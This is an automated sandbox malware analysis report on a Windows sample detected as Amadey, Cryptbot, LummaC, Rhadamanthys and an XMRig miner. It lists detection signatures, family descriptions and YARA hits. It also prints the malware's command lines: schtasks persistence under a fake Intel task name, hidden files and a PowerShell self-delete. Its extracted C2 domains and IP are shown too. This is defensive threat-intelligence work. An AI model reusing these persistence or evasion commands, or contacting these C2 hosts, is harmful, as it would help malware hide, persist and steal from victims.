Edit tour

Windows Analysis Report
random.exe_Y.exe

Overview

General Information

Sample name:	random.exe_Y.exe
Analysis ID:	1577323
MD5:	5c4d6b420293fbf347f649016fab86f8
SHA1:	242b846ca8d55d7d40527d2494a1a3d83e9cba1e
SHA256:	2f423ea9129684a3f39d3ca8aebc3c470f6895786c4277815307ede64e160deb
Tags:	18521511316185215113209bulletproofexeuser-abus3reports
Infos:

Detection

Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to register a low level keyboard hook

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

random.exe_Y.exe (PID: 4072 cmdline: "C:\Users\user\Desktop\random.exe_Y.exe" MD5: 5C4D6B420293FBF347F649016FAB86F8)

skotes.exe (PID: 2016 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5C4D6B420293FBF347F649016FAB86F8)

skotes.exe (PID: 4876 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5C4D6B420293FBF347F649016FAB86F8)

skotes.exe (PID: 6044 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5C4D6B420293FBF347F649016FAB86F8)

4802836d37.exe (PID: 5056 cmdline: "C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 420 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 340 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 3180 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6324 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6368 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3960 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5984 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5440 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2072 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4048 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6644 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 6852 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 6280 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 352 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5064 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5976 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1828 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

d7691cd336.exe (PID: 6316 cmdline: "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe" MD5: 914BC5E4CA51B1218F63A8539614DCBC)

svchost.exe (PID: 1484 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 7064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6316 -s 656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

c5bc1413d7.exe (PID: 7096 cmdline: "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 3664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c5bc1413d7.exe (PID: 6112 cmdline: "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

5b3f6dd868.exe (PID: 3220 cmdline: "C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe" MD5: 3287CE2D6BE3F77C5D1E7CC351F4AD5F)

f1e68d5060.exe (PID: 1172 cmdline: "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 1920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f1e68d5060.exe (PID: 6492 cmdline: "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

f1e68d5060.exe (PID: 4544 cmdline: "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

Intel_PTT_EK_Recertification.exe (PID: 5144 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 2548 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 3896 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1280 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Intel_PTT_EK_Recertification.exe (PID: 3804 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 3912 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 3868 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search user.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "pancakedipyps.click", "grannyejh.lat", "sustainskelet.lat", "crosshuaht.lat", "necklacebudi.lat", "discokeyus.lat", "aspecteirs.lat", "energyaffai.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000020.00000002.2790543601.0000000000782000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000020.00000002.2791427646.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000032.00000002.3209991687.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000030.00000003.3302895820.0000000001332000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000025.00000002.2838016524.0000000003200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000032.00000002.3123702464.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000020.00000002.2790543601.0000000000778000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000032.00000002.3123702464.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2171173391.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2813486090.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000025.00000003.2817891813.00000000009D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2142098174.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000032.00000002.3209877428.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000003.2818001314.00000000049F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000006.00000003.2506817597.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2172004233.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2790543601.0000000000737000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5144	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 2548	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: d7691cd336.exe PID: 6316	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 1484	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
36.3.d7691cd336.exe.4ef0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.3.d7691cd336.exe.5110000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.random.exe_Y.exe.a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.3.svchost.exe.5300000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.3.svchost.exe.50e0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
32.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
32.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
32.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
50.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
50.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
50.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
37.3.svchost.exe.5300000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
36.3.d7691cd336.exe.5110000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
